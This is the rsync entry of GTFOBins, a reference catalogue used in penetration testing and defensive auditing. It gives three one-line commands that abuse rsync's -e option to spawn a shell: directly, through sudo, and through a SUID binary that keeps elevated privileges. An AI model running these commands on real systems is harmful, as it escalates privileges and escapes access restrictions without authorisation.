GTFOBins.github.io/_gtfobins/rsync.md

---
functions:
  shell:
    - code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
  sudo:
    - code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
  suid:
    - code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
---